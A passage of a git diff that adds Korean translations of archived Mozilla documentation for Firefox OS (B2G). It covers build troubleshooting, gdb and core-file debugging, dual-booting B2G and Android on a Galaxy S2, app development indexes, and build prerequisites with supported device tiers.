    +run-js-command  permissions
    +WARNING: permission unknown:offline-app
    +WARNING: permission unknown:indexedDB-unlimited
    +build/permissions.js:122: NS_ERROR_UNEXPECTED: Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPermissionManager.add]
    +make[1]: *** [permissions] Error 3
    +make: *** [gaia/profile.tar.gz] Error 2
    +

    In this situation, try deleting the gaia/xulrunner-sdk directory and re-pulling the code:

    +
    rm -r gaia/xulrunner-sdk
    +
    +

    This deletes the downloaded, precompiled copy of XULRunner that the build system retrieves automatically; on your next build, a new copy of XULRunner will be automatically retrieved.

    +

    다음 단계

    +

    빌드가 완료되면 다음 단계로는 에뮬레이터로 넣을 것인지 단말기로 놓을 것인지에 따라 아래와 같은 선택사항이 있습니다. 자세한 사항은 각각을 참고 하세요.

    + +
  8. +
diff --git a/files/ko/archive/b2g_os/building_and_installing_firefox_os/index.html b/files/ko/archive/b2g_os/building_and_installing_firefox_os/index.html new file mode 100644 index 0000000000..a6c5dd7472 --- /dev/null +++ b/files/ko/archive/b2g_os/building_and_installing_firefox_os/index.html @@ -0,0 +1,49 @@ +--- +title: Firefox OS를 빌드 및 설치하기 +slug: Archive/B2G_OS/Building_and_installing_Firefox_OS +translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS +--- +

Firefox OS는 현재 활발히 개발 중이며, 릴리즈되기 전입니다. 최신버전을 설치하려면 여러분이 직접 빌딩하고 설치해야 합니다. 이 페이지에 나와있는 글들은 여러분에게 에뮬레이터나 호환기기에 Firefox OS를 빌딩하고 설치하거나 Firefox 브라우저에 Gaia 유저 인터페이스를 빌딩하고 설치하는 방법을 알려줄 겁니다.

+ + + + + + + + +
+

FIREFOX OS 빌드하기

+ +
+
Firefox OS 빌드 과정 요약
+
Firefox OS를 빌드하고 설치하는데에는 상당량의 시간, 네트워크 데이터 사용, 그리고 컴퓨터 성능 등을 요구한다. 이 글은 사용자의 빌드 과정의 목적과 절차 등을 이해시키고자한다.
+
Firefox OS 빌드 요구사양
+
처음 Firefox OS를 빌드하기 전에 필요하거나 필요해질 것들.
+
Firefox OS 빌드 준비하기
+
Firefox OS를 빌드하기 전에 여러분은 저장소를 복제하고 빌드 환경을 설정해야 한다. 이 글은 그 방법을 설명한다.
+
Firefox OS 빌딩하기
+
Firefox OS 빌드 방법.
+
+ +

전체보기...

+
+

FIREFOX OS 설치하기

+ +
+
Gaia나 Firefox OS를 선택하여 실행하기
+
여러분은 Firefox에서 Gaia를 사용하거나 모바일 기기에서 Firefox OS를 실행하거나 데스크톱용 시뮬레이션을 사용할 수 있습니다. 여러분의 필요에 대해 어떤 것을 선택해야 할지 도와줄 것입니다.
+
Firefox 에서 Gaia 사용하기
+
Firefox 데스크톱 버전에서 Gaia 사용하는 방법.
+
Firefox OS 데스크톱 클라이언트(시뮬레이터) 사용하기
+
Firefox OS 데스크톱 클라이언트를 실행하고 사용하는 방법;데스크톱 애플리케이션안 Gaia환경을 만듭니다. Firefox 에서 Gaia를 실행하는 것보다는 더 나은 환경이나 에뮬레이터를 사용하는 것보다는 못합니다.
+
Firefox OS 에뮬레이터 사용하기
+
Firefox OS 에뮬레이터를 빌드하고 사용하고, 언제 어떤 에뮬레이터를 사용해야 하는지에 대한 안내.
+
모바일 기기에 Firefox OS 설치하기
+
모바일 기기에 Firefox OS를 설치하는 방법.
+
SGS2에서 Firefox OS와 Android 듀얼 부팅하기
+
삼성 갤럭시 S2에서 Firefox OS/Android 듀얼 부트환경을 설정하는 방법.
+
+
+ +

 

diff --git a/files/ko/archive/b2g_os/debugging/debugging_b2g_using_gdb/index.html b/files/ko/archive/b2g_os/debugging/debugging_b2g_using_gdb/index.html new file mode 100644 index 0000000000..b7578dff62 --- /dev/null +++ b/files/ko/archive/b2g_os/debugging/debugging_b2g_using_gdb/index.html @@ -0,0 +1,153 @@ +--- +title: GDB 및 관련 Tool을 이용한 B2G 디버깅 +slug: Archive/B2G_OS/Debugging/Debugging_B2G_using_gdb +translation_of: Archive/B2G_OS/Debugging/Debugging_B2G_using_gdb +--- +
+

gdb는 Firefox OS의 애플리케이션 디버깅을 위한 많은 유용한 옵션을 제공하는 command line debugger입니다. B2G상에서 실행 중인 각 프로세스의 app 이름을 보여주는 표준 ps의 wrapper인 b2g-ps와 같은 다른 tool들도 있습니다. 이 문서는 이런 tool들로 Firefox OS 디버깅을 어떻게 수행하는지 보여드립니다.

+
+ +

단일 프로세스 모드에서 디버거 시작하기

+ +

(역자 주: b2g 프로세스에 대한 디버깅을 뜻하는 듯)

+ +
+

Note: 디버거를 실행하기 전에 자신만의 설정을 위해 .userconfig 파일을 셋업할 수 있습니다. 이에 대한 더 자세한 내용은 Customization with the .userconfig file을 참고하시기 바랍니다.

+
+ +

Firefox OS를 재시작한 후 gdb 상에서 실행하기 위해서는 간단히 run-gdb.sh를 사용하시면 됩니다 :

+ +
./run-gdb.sh
+
+ +
+

Note: 만약 에뮬레이터 상에서 디버깅 하길 원한다면, 혹시 연결되어 있는 폰은 없는지 확인해 보시기 바랍니다; 에뮬레이터를 연결하려는 gdb와 충돌이 발생할 수 있습니다.

+
+ +

Firefox OS가 이미 동작 중이고, 재시작없이 Firefox OS를 붙이길 원한다면 아래처럼 할 수 있습니다:

+ +
./run-gdb.sh attach
+
+ +

Out-of-process tasks 디버깅

+ +

(역자 주: b2g 외 다른 프로세스에 대한 디버깅을 뜻하는 듯)

+ +

Firefox OS의 쓰레드 기반 특성(threaded nature) 때문에 종종 B2G task외에 다른 task들을 디버깅 해야할 필요가 있을 수 있습니다. 이를 위해 디버깅 하길 원하는 프로세스의 PID를 확인하는 가장 간단한 방법은 b2g-ps 명령을 사용하는 것입니다:

+ +
$ adb shell b2g-ps
+b2g              root      106   1     189828 56956 ffffffff 40101330 S /system/b2g/b2g
+Browser          app_0     4308  106   52688  16188 ffffffff 400db330 S /system/b2g/plugin-container
+
+ +

위에서 Browser는 browser 애플리케이션을 위한 "content process"로 사용되는 (b2g의) 자식 프로세스입니다. 이 예에서 content process를 디버깅하고 싶다면 아래처럼 하시기 바랍니다:

+ +
$ ./run-gdb.sh attach 4308
+ +

종종 자식 프로세스 생성에 대해 즉시 통보받는게 유용할 때가 있습니다. 이렇게 하기 위해선 MOZ_DEBUG_CHILD_PROCESS 환경변수와 함께 run-gdb.sh를 실행하면 됩니다:

+ +
MOZ_DEBUG_CHILD_PROCESS=1 ./run-gdb.sh
+ +

이렇게 하면 Firefox OS에서 out-of-process 애플리케이션이 실행될 때 새로운 task용 plugin-container의 PID를 출력할 것입니다. 그리고 위에서 봤던 attach 명령을 사용하기에 충분한 시간인 30초 동안 sleep 할 것 입니다:

+ +
$ ./run-gdb.sh attach 4308
+ +

만일 부팅 중 발생하는 어떤 부분을 디버깅하려고 한다면, 새로운 애플리케이션에 대한 디버거 인스턴스(debugger instance)를 적절하게 빨리 실행해야 합니다. 일단 새로운 디버거가 실행되면 새로운 task의 동작을 지속하기 위해 즉시 "c"를 눌러야 합니다.

+ +

Core 파일 디버깅

+ +
+

Warning: Core 파일은 프로세스의 전체 메모리 내용을 포함하고 있습니다. 이 파일은 여러분이 Firefox OS에 입력한 개인 정보를 포함하고 있을 수 있습니다. 그러므로 core 파일은 주의깊게 공유되어야 합니다.

+
+ +

기본적으로 Firefox OS는 프로세스가 crash 되었을 때 core 파일을 dump 하지 않습니다. Debug 빌드 버전에서 다음 명령으로 enable 해주어야 합니다:

+ +
$ adb shell setprop persist.debug.coredump all
+$ adb reboot
+
+ +

변경사항을 적용하기 위해서는 리부팅이 필요하며, B2G가 일단 초기화를 시작했으면 crash 발생 시 모든 프로세스가 core dump를 하게 됩니다. 이전 커널(<3.0, hamachi 등)을 사용하는 플랫폼이거나, Gonk 외 B2G의 특정 프로세스(즉 b2g, plugin-container)로부터의 core dump를 원한다면, 다음 명령으로 enable 할 수도 있습니다:

+ +
$ adb shell setprop persist.debug.coredump b2g
+$ adb reboot
+
+ +

Core 파일은 /data/core에 저장됩니다. b2g에 의해 생성된 core 파일은 다음과 같이 열 수 있습니다:

+ +
$ adb pull /data/core .
+$ ./run-gdb.sh core b2g.1286.1412337385.core
+
+ +

Content process의 core 파일은 다음과 같이 열 수 있습니다:

+ +
$ adb pull /data/core .
+$ ./run-gdb.sh core plugin-container Camera.1329.1412617644.core
+
+ +

지원

+ +

기능의 기대 수준

+ +

다음 디버깅 기능들은 적어도 확실히 동작합니다. 만약 동작하지 않는다면 간단한 설정 변경으로 동작할 것입니다:

+ + + +

다음 디버깅 기능은 지원하지 않습니다. 사용하지 마시기 바랍니다.

+ + + +

문제 해결

+ +

위에 언급된 것처럼 GDB가 동작하지 않을 때 해볼 수 있는 몇 가지가 있습니다.

+ +

B2G clone이 최신인지 확인

+ +

B2G clone을 업데이트 하려면 아래 두 개의 명령을 실행해야 한다는 것을 항상 명심하시기 바랍니다:

+ +
git pull
+./repo sync
+ +

위에서 git pull을 잊는 경우가 이전 run-gdb.sh로 남아있거나 최신 개선사항의 잇점을 얻지 못하는 전형적인 요인입니다.

+ +

올바른 프로세스를 attach 하고 있는지 확인

+ +

잘못된 프로세스를 attach 하는 것(예를 들면 B2G 프로세스 대 Browser 프로세스)은 여러분의 breakpoint가 왜 동작하지 않고 있는지를 설명해 줄겁니다.

+ +

Symbol이 올바르게 로드 되었는지 확인

+ +
    +
  1. Symbol이 올바르게 로드 되었는지 확인하려면 gdb에서 info shared를 사용해 보세요: + +
    (gdb) info shared
    +From        To          Syms Read   Shared Object Library
    +0xb0001000  0xb0006928  Yes         out/target/product/otoro/symbols/system/bin/linker
    +0x40051100  0x4007ed74  Yes         /hack/b2g/B2G/out/target/product/otoro/symbols/system/lib/libc.so
    +0x401ab934  0x401aba2c  Yes         /hack/b2g/B2G/out/target/product/otoro/symbols/system/lib/libstdc++.so
    +...
    +
  2. +
  3. Syms Read 컬럼이 모두 Yes이어야 합니다. 어떤 안드로이드 폰에서는 몇몇 시스템 라이브러리와 드라이버가 Yes (*)로 나타날 수 있습니다; 그건 괜찮습니다. No가 보이면 안됩니다.
  4. +
  5. 만약 No가 보인다면, 그게 첫 번째 문제이고 다른 걸 보기전에 그 문제부터 해결해야 합니다.
  6. +
  7. run-gdb.sh 명령을 친 후 바로 나타나는 터미널의 출력에 에러 메시지가 있는지 찾아보시기 바랍니다.
  8. +
  9. 또한 GDB 명령이 올바른지 터미널 출력을 확인해 보시기 바랍니다. 특히 명령줄의 마지막 인자는 b2g 실행파일의 경로가 되어야 합니다. 아래 올바른 예제가 있습니다: +
    prebuilt/linux-x86/toolchain/arm-linux-androideabi-4.4.x/bin/arm-linux-androideabi-gdb -x /tmp/b2g.gdbinit.bjacob /hack/b2g/B2G/objdir-gecko/dist/bin/b2g
    +
  10. +
  11. 다음 GDB 변수들을 확인해 보시기 바랍니다: solib-search-pathsolib-absolute-prefix: +
    (gdb) show solib-search-path
    +The search path for loading non-absolute shared library symbol files is /hack/b2g/B2G/objdir-gecko/dist/bin:out/target/product/otoro/symbols/system/lib:out/target/product/otoro/symbols/system/lib/hw:out/target/product/otoro/symbols/system/lib/egl:out/target/product/otoro/symbols/system/bin:out/target/product/otoro/system/lib:out/target/product/otoro/system/lib/egl:out/target/product/otoro/system/lib/hw:out/target/product/otoro/system/vendor/lib:out/target/product/otoro/system/vendor/lib/hw:out/target/product/otoro/system/vendor/lib/egl.
    +(gdb) show solib-absolute-prefix
    +The current system root is "out/target/product/otoro/symbols".
    +
  12. +
+ +
+

Note: 만일 도움이 더 필요하시면 #b2g IRC 채널로 오시기 바랍니다. 버그를 찾은 것 같다면 B2G issue tracker로 알려주시기 바랍니다.

+
+ +

 

diff --git a/files/ko/archive/b2g_os/debugging/index.html b/files/ko/archive/b2g_os/debugging/index.html new file mode 100644 index 0000000000..12a896d185 --- /dev/null +++ b/files/ko/archive/b2g_os/debugging/index.html @@ -0,0 +1,84 @@ +--- +title: Debugging on Firefox OS +slug: Archive/B2G_OS/Debugging +tags: + - B2G + - Debugging + - Firefox OS + - NeedsTranslation + - QA + - Testing + - TopicStub +translation_of: Archive/B2G_OS/Debugging +--- +
+

There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system. This section of the site provides articles covering the different tools at your disposal to debug your Firefox OS code.

+
+

Debugging apps

+

When debugging your web apps, the best tool at your disposal is Mozilla's powerful App Manager, which allows you to run your apps directly on a real device or simulator, update any changes instantly, and debug them directly on the device using Mozilla's excellent developer tools. This should be your first choice, especially for app/Gaia debugging.

+
+
+ Using WebIDE
+
+ The WebIDE is the replacement for the App Manager. Like the App Manager, it enables you to run and debug Firefox OS apps using the Firefox OS Simulator or a real Firefox OS device. However, it also provides an editing environment for you to create and develop apps.
+
+ Using the App Manager
+
+ The App Manager is a new tool available in Firefox for Desktop, which provides a number of useful tools to help you test, deploy and debug HTML5 web apps on Firefox OS phones and the Firefox OS Simulator, directly from your browser.
+
+ Debugging out of memory errors on Firefox OS
+
+ This article describes how B2G's multiprocess architecture affects what the phone does when we run out of memory, and how to understand and debug OOM crashes.
+
+

Debugging Gaia/B2G

+

If you want to debug code from the Gaia apps suite or B2G itself, the following tools will be of use to you.

+
+
+ Debugging using the desktop B2G client
+
+ You can use the dedicated B2G desktop application (and associated tools) to debug multiple aspects of B2G and Gaia.
+
+ Firefox OS crash reporting
+
+ This page details how to handle crash reporting on Firefox OS, including retrieving crash reports, and forcing crashes.
+
+ Debugging B2G using gdb
+
+ The popular gdb debugger can be used to debug Firefox OS and web apps running on a device, or on an emulator. This guide will show you how it's done.
+
+ Debugging B2G using Valgrind
+
+ Valgrind gives developers access to information about memory allocations, threads, and other information important to performance. This guide shows how to run Valgrind either on desktop B2G or select phone hardware.
+
+ Getting NSPR logs in B2G
+
+ You can use NSPR logs to record HTTP and other networking.
+
+ Debugging OpenGL
+
+ How to debug OpenGL code on Firefox OS.
+
+

General setup and information

+

The following articles provide information on individual aspects of setup for Firefox OS development. The chances are that you won't need these, especially if you are just debugging apps using the App Manager. But we have made them available here in case you do.

+
+
+ Developer settings for Firefox OS
+
+ There are a number of settings options available for developers on Firefox OS. This guide explains what they do and how to take advantage of them.
+
+ Installing and using ADB
+
+ Many aspects of Firefox OS development require installation of adb, the Android Debug Bridge. This article explains how to do that, and shares some common useful ADB commands.
+
+ On-device console logging
+
+ How to log to console on a Firefox OS device, and how to access the resulting logs for review on your computer.
+
+ Connecting a Firefox OS device to the desktop
+
+ This short guide explains how to set up your Firefox OS device and your desktop so that the desktop can communicate with the device over USB.
+
+ Setting up to debug Firefox OS code
+
+ Before you can begin using most of the tools integrated into Firefox for debugging code running under Firefox OS, you need to do a little configuration work. This article explains what you need to do.
+
diff --git a/files/ko/archive/b2g_os/dual_boot_of_b2g_and_android_on_sgs2/index.html b/files/ko/archive/b2g_os/dual_boot_of_b2g_and_android_on_sgs2/index.html new file mode 100644 index 0000000000..fa0e0b7ed5 --- /dev/null +++ b/files/ko/archive/b2g_os/dual_boot_of_b2g_and_android_on_sgs2/index.html @@ -0,0 +1,79 @@ +--- +title: SGS2에서 B2G와 Android로 듀얼 부팅 +slug: Archive/B2G_OS/Dual_boot_of_B2G_and_Android_on_SGS2 +tags: + - 듀얼 부팅 +translation_of: Archive/B2G_OS/Building +--- +

+

+

Warning: 이 문서에서 설명하는 내용은 공식적으로 지원하는 구성은 아닙니다. 본인의 결정 하에 사용하세요.

+

+

삼성 Galaxy S2를 가지고 있고, Android를 주로 사용하는 OS로 유지하면서 가끔 B2G를 테스트 하고 싶은 상황이라면, B2G를 (폰에 이미 존재하는)분리된 파티션에 설치하고 기기를 켤 때 어느 파티션에서 부팅할지 선택할 수 있습니다.

+
+ 참고: 폰은 반드시 Android 4 (Ice Cream Sandwich) 가 설치되어 있어야 합니다. 그렇지 않다면 아래의 내용은 제대로 동작하지 않을 겁니다.
+

선결 조건

+

Android와 B2G로 듀얼 부팅을 하려면 다음의 사항들이 만족되어 있어야 합니다:

+ +

최초 환경 설정

+

듀얼 부팅을 하기 위해선 여러가지 조작을 해야 합니다.
+ 다음 환경 설정은 처음에 한번만 하면 됩니다.

+

heimdall을 루트 권한 없이 사용하려면, android.rules라는 이름(.rules 앞의 내용은 맘대로 정해도 됩니다)의 파일을 만들고 /etc/udev/rules.d 디렉토리에 위치시켜야 합니다. 파일은 다음과 같은 내용을 가져야 합니다:

+
SUBSYSTEM=="usb", ATTRS{idVendor}=="04e8", MODE="0666"
+

이 규칙을 활성화 시키기 위해서, udev를 재시작 해야 합니다:

+
sudo service udev restart
+

이제 폰을 PC와 다시 연결 합니다. 위의 규칙은 또한 adb가 SGS2를 루트 권한 없이 접근 가능하게 할 겁니다.

+

Siyah 커널 다운로드 하기

+

듀얼 부팅을 위해선 Siyah 커널이 필수적입니다. tar 파일을 받아서 압축을 푸셨다면, zImage 라는 이름의 파일을 얻었을 겁니다. 이걸 폰에 다운로드 하기 위해선 다음의 단계를 따라가면 됩니다:

+
    +
  1. 폰의 전원을 끕니다
  2. +
  3. 다운로드 모드로 리부팅(볼륨 다운, 홈, 파워 버튼을 동시에 눌러 전원을 켜고, 나중에 누르라는 메세지가 뜨면, 볼륨 업 버튼을 누릅니다) 합니다
  4. +
  5. 다음 명령어를 이용해 heimdall로 커널을 다운로드 합니다(폰은 PC에 연결되어 있어야 합니다):
    +
    heimdall flash --kernel /path/to/zImage
    +
  6. +
+

커널 다운로드가 완료되면 폰이 재부팅 됩니다

+

B2G 롬 환경 준비하기

+

Siyah 커널을 설치하셨다면, Siyah 커널을 이용해 B2G 이미지를 두번째 파티션에 설치하기 위한 환경을 준비해야 합니다:

+
    +
  1. 폰의 전원을 끕니다
  2. +
  3. 리커버리 모드로 리부팅(볼륨 업, 홈, 파워 버튼을 동시에 눌러 폰의 전원을 켭니다) 합니다
  4. +
  5. CWMT 터치 인터페이스에서, dual-boot 옵션으로 이동 -> Wipe 2ndROM data/cache 메뉴 선택 -> Yes - Wipe 메뉴를 선택합니다. 이 명령은 시간을 좀 필요로 할 겁니다
  6. +
+

명령이 성공적으로 끝나면, Go Back 메뉴를 선택하고 폰을 리부팅 하기 위해 reboot system now 메뉴를 선택합니다. 이제 SD 카드 안에 cache.img와 data.img라는 파일이 포함된 .secondrom 이라는 이름의 디렉토리가 있음을 확인할 수 있습니다.

+

B2G 업데이트

+

새로운 버전의 B2G를 빌드 할 때마다 다음의 동작이 필요합니다.

+

명령줄에 입력하는 명령을 간편하게 하기 위해, 필요한 모든 파일을 하나의 폴더에 복사해 두는 것을 추천합니다. 복사해 둬야 할 파일들은 다음과 같습니다:

+ +

파일들을 모두 하나의 디렉토리에 모았으면, 다음 명령들을 따라합니다:

+
    +
  1. userdata.img 파일로부터 data.img를 추출합니다. 다음의 명령으로 이를 행할 수 있습니다: +
    simg2img userdata.img data.img
    +
  2. +
  3. data.img 파일을 폰의 .secondrom 폴더로 이동시킵니다. 폰의 file storage mode 를 활성화 시키고 PC와 폰을 연결해서 할수도 있고, USB 디버그 기능이 활성화 되어 있다면, 다음과 같이 adb를 이용할 수도 있습니다: +
    adb push /path/to/data.img /sdcard/.secondrom/data.img
    +
  4. +
  5. 폰의 전원을 끕니다
  6. +
  7. 다운로드 모드로 리부팅(볼륨 다운, 홈, 파워 버튼을 동시에 눌러 전원을 켜고, 요청받으면 볼륨 업 버튼을 누릅니다) 합니다
  8. +
  9. heimdall을 써서 B2G 펌웨어를 두번째 파티션에 다운로드합니다: +
    heimdall flash --hidden system.img
    +
  10. +
+

다운로드가 끝나면, 폰이 리부팅 될꺼고, 부팅 시에 부트로더가 기다리는 동안 홈 버튼을 누름으로써 두번째 롬(B2G)로 부팅할 수 있습니다. 문제 없이 설치가 잘 되었다면, B2G로 부팅한 직후 까만 화면을 보게 될 것입니다. 이제 Gaia를 설치해야 합니다.

+
+ 참고: B2G를 어떻게 테스트 하고 싶은가에 따라서는, 기존의 것에서 새로운 data.img 파일로의 교체는 기존의 모든 설정, 설치된 어플리케이션들, 그리고 B2G를 사용하면서 행한 모든 것을 날려야 함을 의미하므로, B2G를 업데이트 할 때마다 data.img 파일을 갱신하고 싶지는 않을 수 있을 겁니다.
+

부팅

+

매번 B2G로 부팅할 때마다 다음의 동작을 해줘야 합니다.

+

안타깝게도, Gaia를 system.img B2G image에 간단히 넣는 방법은 없고, 폰을 끌 때마다 Gaia는 사라지므로, 매번 B2G로 부팅할 때마다 Gaia를 다시 설치해 줘야 합니다. Gaia를 설치하기 위해서는, 폰을 B2G로 부팅하고(폰은 검은 화면을 보이고 있을 겁니다) PC와 연결한 후에 다음과 같은 명령을 입력합니다:

+
cd B2G/gaia
+GAIA_DOMAIN=foo.org make install-gaia
+

Gaia의 다운로드가 끝나면, 폰은 B2G 인터페이스가 나타날 겁니다.

diff --git a/files/ko/archive/b2g_os/firefox_os_apps/index.html b/files/ko/archive/b2g_os/firefox_os_apps/index.html new file mode 100644 index 0000000000..370236dd14 --- /dev/null +++ b/files/ko/archive/b2g_os/firefox_os_apps/index.html @@ -0,0 +1,85 @@ +--- +title: Firefox OS apps +slug: Archive/B2G_OS/Firefox_OS_apps +tags: + - Apps + - Building + - Components + - Firefox OS + - Installing + - NeedsTranslation + - TopicStub + - device APIs +translation_of: Archive/B2G_OS/Firefox_OS_apps +--- +

This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.

+ +

Building Firefox OS apps

+ +
+
Building apps for Firefox OS
+
Firefox OS/Firefox platform app specifics, including App installation and management APIs, manifest files, packaged and hosted apps, handling API permissions.
+
Localization
+
This set of articles provides information for developers wishing to provide localized versions of their apps.
+
Performance
+
This page lists performance-related topics specific to Firefox OS.
+
Firefox Accounts on Firefox OS
+
This article provides an overview of using Firefox Accounts in Firefox OS.
+
Reference apps
+
This page lists a number of sample apps we've put together for you to download, install, play with and learn from. Have fun!
+
Screencast series: App Basics for Firefox OS
+
In this collection of short videos, developers from Mozilla and Telenor explain in a few steps how you can get started with building applications for Firefox OS.
+
+ +

Building blocks

+ +
+
Building Blocks
+
The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all Gaia default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.
+
+ +

Styleguides

+ +
+
Firefox OS Visual styleguide
+
Our style guide for Firefox OS visual design, covering colours, typeface, backgrounds, app icons, and the design of specific UI elements.
+
Firefox OS Copy styleguide
+
This guide outlines the rules we follow for writing Firefox OS app copy, but can be used as a general guide to writing good copy for any app interfaces.
+
Firefox OS in Arabic
+
A guide to the specific UX design implementation Firefox OS has in place for dealing with Arabic (and other RTL languages.)
+
+ +

Assets

+ +
+
Firefox OS design asset library
+
In this section you'll find design assets, artwork, graphic templates, fonts and other materials that will be helpful as you design Firefox OS/Gaia apps.
+
Firefox OS icon font
+
Firefox OS has its own icon font set available: this article explains how to use it in your own apps.
+
Firefox OS transitions
+
A reference to some of the transitions used in Firefox OS to move between different states in apps, including animated GIFs demonstrating the animations used, plus code samples to show the CSS animation code needed to implement these animations.
+
+ +

References

+ +
+
Firefox OS device APIs
+
This article provides a list of pages covering those APIs, as well as the app manifest permissions for each one.
+
Firefox OS app tools
+
This page provides a list of useful tools, libraries, examples, etc. that are useful for Firefox OS app developers, whether you want a code template to copy, or need help with adding a specific feature to your Firefox OS app.
+
+ +

Other app topics

+ +
+
Porting Chrome apps to Firefox OS Apps
+
This article discusses the differences between Chrome apps and Firefox OS Apps, and how you can convert between the two.
+
App development FAQ
+
This FAQ is a compilation of answers to common app development questions.
+
+ +

See also

+ + diff --git a/files/ko/archive/b2g_os/firefox_os_apps/localization/index.html b/files/ko/archive/b2g_os/firefox_os_apps/localization/index.html new file mode 100644 index 0000000000..f6e97ebe92 --- /dev/null +++ b/files/ko/archive/b2g_os/firefox_os_apps/localization/index.html @@ -0,0 +1,92 @@ +--- +title: App localization +slug: Archive/B2G_OS/Firefox_OS_apps/Localization +translation_of: Archive/B2G_OS/Firefox_OS_apps/Localization +--- +

+ +
+

이 글 모음은 앱의 지역화 버전을 만들고 싶어하는 개발자들을 위해정보를 제공하기 위하여 작성하였습니다.

+
+ +

지침서

+ +
+
Getting started with app localization(앱 지역화를 시작하기)
+
이 지침서는 앱 지역화를 자세한 가이드를 제공합니다.
+
Connecting developers and translators with Transifex
+
This article explores the use of Transifex for managing translation work, both for app developers and localizers.
+
+ +

Reference

+ +
+
L10n.js reference
+
This article provides a reference for the l10n.js library, and its associated date helper, l10n_date.js.
+
Internationalization helpers: IntlHelper and mozIntl
+
This article looks at how Firefox OS handles localization of dates, times, numbers and collators from version 2.5 onwards, using the Internationalization API and Gaia's built in helpers, IntlHelper and mozIntl.
+
App localization code best practices
+
Localization best practices and advanced techniques for experienced Gaia/app developers.
+
Developing Bidi Apps
+
Best coding practices and guidelines for developing bi-directional (left-to-right and right-to-left, RTL) apps.
+
+ +

Tools

+ +
+
Translation tester
+
This app is for testing translations for Firefox OS apps and provides a blueprint for adding translation support to your own apps.
+
diff --git a/files/ko/archive/b2g_os/firefox_os_build_prerequisites/index.html b/files/ko/archive/b2g_os/firefox_os_build_prerequisites/index.html new file mode 100644 index 0000000000..25a7f50191 --- /dev/null +++ b/files/ko/archive/b2g_os/firefox_os_build_prerequisites/index.html @@ -0,0 +1,267 @@ +--- +title: Firefox OS build prerequisites +slug: Archive/B2G_OS/Firefox_OS_build_prerequisites +translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites +--- +

 

+
+ 중요: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/25)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.
+
+

Firefox OF 빌드 코드를 받기 전에, 빌드 환경을 먼저 구축 하셔야 합니다. 현재까지는 리눅스 64비트 버젼 및 맥 OS X에서만 빌드 하실 수 있습니다.

+
+
+
Note: Firefox OS를  올리기 위한 스마트폰을 빌드 시작전에 컴퓨터에 연결하지 마십시오, 언제 연결할지 알려 줄 것입니다.
+
+

지원되는 단말기 및 에뮬레이터

+

몇몇의 단말기가 지원되기도 하지만, 어떤 단말기에서는 다양하게 변경이 가능합니다. 지금까지는 특별한 목적(특징)으로 분류되어 있습니다. 그리고 어떤 기기는 다른 기기들보다 지원이 더 잘되기도 합니다.

+

분류1

+

분류1 에 속하는 기기는 개발의 주요 대상이 되는 기기며 전반적으로 기능의 첫 번째 구현 대상 혹은 최신 버그들이 처음으로 수정되는 대상 기기입니다.

+
+
+ 오토로
+
+ 오토로는 중저가 스마트폰의 플랫폼 개발 혹은 테스트용으로 사용됩니다. 많은 핵심 Firefox OS개발에 사용되는 기기입니다
+
+ 에뮬레이터 (ARM and x86)
+
+ 에뮬레이터는 ARM코어와 X86(PC용)코어 두가지가 있습니다.
+
+ Koen
+
+ Keon은 Geeksphone의 초기의 개발자 폰중에 하나 입니다. Koen은 Geeksphone에서 빌드 방법을 제공합니다.
+
+ 데스크탑
+
+ 데스크탑용 Firefox OF도 있습니다; 이는 XULRunner application에서 Gecko를 실행 하는 것이며, Gaia user experience를 Gecko에서 사용 가능합니다.
+
+
+
+ Flame
+
+ Flame은 Mozilla의 새로운 표준 Firefox OS의 기준 폰입니다. ZTE Open C를 위한 빌드를 할 때 Flame의 설정을 사용해야 합니다. Flame과 Open C는 안드로이드 젤리빈이 기반 시스템 입니다.
+
+

당연히, 데스크탑 클라이언트를 빌드 할 수 있으며 단말기 없이도 에뮬레이터를 사용할 수 있습니다..

+

분류 2

+

분류 2의 단말기들은 기본기능 개발을 위해(특히 어플리케이션 개발자들) 사용 됩니다. 그렇기 때문에 분류 1다음으로 최신 코드들이 반영됩니다.

+
+
+ Samsung Nexus S
+
+ 넥서스 S로 잘알려진 모델로 상세 모델로는 GT-I9020A, GT-I9023이기도 합니다. 그외 넥서스 S모델들도 사용 가능합니다.
+
+ Samsung Nexus S 4G
+
+ 모델명 SPH-D720가 분류 2에 포함 됩니다.
+
+

분류 3

+

Firefox OS가 아래와 같은 단말기 들로 빌드 될 수도 있지만, 코어 개발 및 기본 기능들이 실제로 잘 반영되지 않아 정상적으로 동작 하지 않을 수도 있습니다. 분류 1, 2보다 안정성이 떨어지므로 참고하시기 바랍니다.

+
+
+ Samsung Galaxy S2
+
+ 모델 명 i9100; 다른 모델은 호환되지 않을 수 있습니다. (NFC칩만 추가된 i9100P모델인 경우에는 동작 할 수 있습니다.)
+
+ Samsung Galaxy Nexus
+
+ 최근에는 지원되지 않는 모델입니다.
+
+ Nexus 4
+
+ IRC에 일부 사용자들이 성공적으로 테스트를 했습니다. Android 4.4를 처음으로 실행 하면 Android 4.3을 재 Flash를 요구 할 수 도 있고 그렇지 않을 수 도 있습니다.( 안드로이드 이미지는 구글로 부터 이용할 수 있다.)
+
+ Nexus 5
+
+ IRC에 일부 사용자들이 성공적으로 테스트를 했습니다. 
+
+ Tara
+
+ Tara is another testing device. Manifest of Tara is in master branch only. The script of getting Tara code is "BRANCH=master ./config.sh tara".
+
+ Unagi
+
+ 우나기는 중저가 스마트폰의 플랫폼 개발 혹은 테스트용으로 사용됩니다. 많은 핵심 Firefox OS개발에 사용되는 기기입니다.
+
+ 판다보드
+
+ 판다보드는 모바일용 플랫폼으로 사용되는 OMAP 4 시스템용 보드 개발용으로 사용됩니다.
+
+  
+
+  
+
+  
+
+
+ 중요: 단말기는 최소한 안드로이드 4 (즉 아이스크림 샌드위치)가 지원되어야 합니다. 위에 언급된 단말기중 안드로이드 4보다 낮은 버젼이라면 업데이트 하시기 바랍니다.
+
+

분류 2와 분류 3 단말은 홈 버튼이 없다

+

